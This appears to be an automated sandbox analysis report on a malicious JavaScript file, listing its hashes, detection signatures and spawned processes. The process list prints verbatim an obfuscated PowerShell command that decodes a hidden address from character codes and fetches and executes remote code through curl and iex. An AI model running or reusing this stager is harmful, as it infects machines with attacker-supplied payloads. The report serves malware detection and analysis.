Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 14:58
General
-
Target
40551fa2f76049bcc3e5fcbf304c911845f168eaa7771efff2311d043200da71.js
-
Size
202KB
-
MD5
87e0ceab84726e7cb7f890650b2684c4
-
SHA1
8d2b922b604bdeb39faa0f78e99e435c9c5bdf45
-
SHA256
40551fa2f76049bcc3e5fcbf304c911845f168eaa7771efff2311d043200da71
-
SHA512
86e1afa1b8b12c4a83baf63c1c760444557fabf92866fe41ae8607f30536a4ff97e03b83923f82202ef5ce59376c8e3462ee75cba3e8b0ecebac855f750c0949
-
SSDEEP
1536:nwfnMv4xlx4f1fbUNEdXKJTyFteE8UeLQag/WqHoxlx4f1fbUNEdXKJ+yFteE8Ul:n2n3CoOIhoOyoOcbB
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\40551fa2f76049bcc3e5fcbf304c911845f168eaa7771efff2311d043200da71.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $tfczpqjyg='ur' ;new-alias printout c$($tfczpqjyg)l;$gsajrto=(944,955,963,947,949,944,964,963,968,901,963,897,944,892,962,957,958,893,895,892,958,950,958,909,961,907,955,951,956,962,961,896,895);$obeifhamvpjcx=('bronx','get-cmdlet');$asvqcxtjkureb=$gsajrto;foreach($ltwuiynpxbrzs in $asvqcxtjkureb){$sanoumdctrik=$ltwuiynpxbrzs;$kfheayp=$kfheayp+[char]($sanoumdctrik-846);$eqynumbki=$kfheayp; $drhmtiyqe=$eqynumbki};$plvhso[2]=$drhmtiyqe;$joekhcfbupltv='rl';$skyfcjbizrunh=1;.$([char](9992-9887)+'e'+'x')(printout -useb $drhmtiyqe)1⤵
- Process spawned unexpected child process